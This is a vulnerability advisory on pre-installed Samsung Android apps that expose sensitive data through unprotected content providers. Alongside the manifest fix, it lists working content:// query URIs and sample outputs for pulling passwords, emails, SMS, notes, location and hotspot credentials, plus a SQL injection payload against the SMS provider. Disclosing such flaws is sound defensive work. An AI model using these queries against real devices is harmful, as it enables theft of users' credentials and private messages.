|Product||Multiple pre-installed Samsung applications|
|Type||Multiple Samsung (Android) Application Vulnerabilities|
Many Samsung applications are pre-installed by default on Samsung Android devices and these applications cannot be removed by the user. Some of these applications make use of content providers which are implicitly exported by default. This results in these content providers allowing other applications on the device to request sensitive information and successfully obtain it. This is cause for concern as any 3rd party application containing malicious code does not require any granted permissions in order to obtain sensitive information from these applications. It should be noted that only applications disclosing potentially sensitive information are being reported on in this document.
The following applications allow the retrieval of sensitive information from their content providers without any granted permissions:
|Email address and password
|Social networking messages||2.00.00001|
|com.sec.android.im (IM)||Instant messages||1.00.10201|
|com.android.providers.telephony (Dialer Storage)||SMS||2.3.4|
Social networking messages
|Encrypted account information||1.0|
Malicious applications installed on the same device as the vulnerable applications could steal sensitive information from the user and transmit it back to the attacker.
These vulnerabilities are present because insufficient security permissions are set on the content provider section in each of the vulnerable application’s AndroidManifest.xml file.
Avoid using the vulnerable applications if you do not have access to the firmware update. To clear informationstored in these applications go to Settings→Applications→Manage Applications and press “Clear data”.
In the AndroidManifest.xml file of each application that contains a content provider, it was recommended that read and write permissions are set. An example is shown below:
<provider android:name=".db.Provider” android:authorities="com.example.app" android:readPermission="com.example.app.provider.permission.READ" android:writePermission="com.example.app.provider.permission.WRITE" />
This means that an application wanting to read or write to this content provider needs to have the stated
permissions in order to do so.
The following section will be organised by the information that is obtainable by an unprivileged application. Thepremise of this section is that an application with no granted permissions can perform a query on the specified content providers in order to obtain the targeted information.
When querying a content provider, methods are provided that allows the developer to construct SQL statements. The following is what the query method in Android looks like to a developer:
query(uri, projection, selection, selectionArgs, sortOrder)
These parameters get used at various points in a SQL statement to construct the query. This also means that there is often SQL injection vulnerabilities present in these fields on content providers.
Registered user accounts within Social Hub and their associated service.
Uri: content://com.seven.provider.email/accounts Projection: user_name, provision_name Response: user_name | provision_name email@example.com | Yahoo! Messenger firstname.lastname@example.org | Yahoo! Mail
The password for instant messaging accounts within Social Hub. This password is often the same for the email account and IM account on services like Yahoo and Google.
Uri: content://com.seven.provider.email/dbprefs Response: _id | category | type | key | value | flags ... 242 | Account-6 | 5 | Z7_IM_CLIENT_SETTING_PASSWORD_STRING | Password123 | 0 ...
Uri: content://com.seven.provider.email/emails Projection: _id, _from, subject, body Response: _id | _from | subject | body ... 30 | email@example.com | Test subject | Email contents ...
Uri: content://logs/email_seven Projection: messageid, address, m_subject, m_content Response: messageid | address | m_subject | m_content ... 30 | firstname.lastname@example.org | Test subject | Email contents ...
All email accounts registered in Social Hub have their email contents logged. This query to the logs content provider shows the same data as com.seven.provider.email provider except that even if the account gets deregistered or removed from Social Hub, the logs still persist.
Get all contacts.
Uri: content://com.seven.provider.im/contacts Projection: contact Response: John Paul Susan
Get instant messages from Social Hub.
Uri: content://com.seven.provider.im/messages Projection: _id, contact, account, body Response: _id | contact | account | body ... 14 | John | 6 | Hi, how are you? ...
Get the same instant message as above, except from the logs.
Uri: content://logs/im Projection: account_id, name, m_content Response: account_id | buddy_name | message ... 6 | John | Hi, how are you? ...
The logs persist even after an IM account has been deregistered.
Get the same instant message as above, except from the IM application itself.
Uri: content://com.tecace.app.convprovider Projection: _id, accountId, buddy_name, message Response: _id | accountId | buddy_name | message ... 3 | -1 | null | Hi, how are you? ...
All SMS messages.
Uri: content://channels Projection: * FROM sms;-- Response: _id | thread_id | address | person | date | protocol | read | status | type | reply_path_present | subject | body | service_center | locked | error_code | seen | deletable | hidden | group_id | group_type | delivery_date ... 572 | 3 | +27821234567 | null | 1323444871859 | null | 1 | 0 | 2 | null | null | This is a message from me to you | null | 0 | 0 | 1 | 1 | 0 | null | null | 1323444881072 ...
SQL injection exists within the projection and selection parameters for the channels content provider.
First 50 characters of SMS messages.
Uri: content://logs/historys Projection: number, m_content Selection: number like '+%' Response: number | m_content ... +27821234567 | This is a message from me to you ...
Messages from Social Networks.
Uri: content://com.sec.android.socialhub.unifiedinbox/messages Projection: name,m_subject,m_content Response: name | m_subject | m_content John Smith | Birthday | Are you coming to my party?
All notes entries, photos and photo locations.
Uri: content://com.sec.android.providers.minidiary.MiniDiaryData/diary Projection: _id, location, date, longitude, latitude, picture_file, note Response: _id | location | date | longitude | latitude | picture_file | note 1 | Germany, Hesse | 2011.01.11 | 9804903 | 51115599 | /data/data/com.sec.android.app.minidiary/files/picture/1323636867660.jpg | Beautiful!
It should also be noted that on Android the contents of the SD card are accessible from any application, allowing applications to retrieve them and upload them to an attacker.
User notes stored in this application.
Uri: content://com.samsung.sec.android/memo/all Projection: _id, title, content Response: _id | title | content 1 | 20111211 | Note contentsPUBLIC
User notes stored in this application.
Uri: content://com.sec.android.widgetapp.postit/postit Projection: _id, body Response: _id | body 1 | My first postit!
Name of the owner of the device.
Uri: content://com.sec.android.socialhub.unifiedinbox/sns_msg_receiver_map Projection: receiver_name Response: Tyrone Erasmus
General location of the owner of the device.
Uri: content://com.sec.android.widgetapp.weatherclock Response: NAME | STATE | LOCATION | MAIN_DISPLAY | SUMMER_TIME | LATITUDE | LONGITUDE | PROVIDER Pretoria | Gauteng, South Africa | cityId:305449 | 1 | 0 | -25.7315 | 28.21821 | 0PUBLIC
Obtain encrypted Samsung account settings.
Uri: content://com.osp.contentprovider.ospcontentprovider/identity Response: Value | Key <base64_value> | UserID <base64_value> | EmailID <base64_value> | Password <base64_value> | MobileCountryCode <base64_value> | AuthToken <base64_value> | AuthTokenSecret <base64_value> | BirthDate <base64_value> | UserDeviceID
It should be noted that the <base64_value> given above is an encrypted string that has been base64 encoded.
If the mechanism that encrypts and decrypts this data is found to be weak, the user’s Samsung account would be compromised.
Portable Wi-Fi hotspot credentials.
Uri: content://settings/secure Response: _id | name | value 2736 | wifi_ap_passwd | h0tsp0tp@ssw0rd ... 2859 | wifi_ap_ssid | Hotspot1234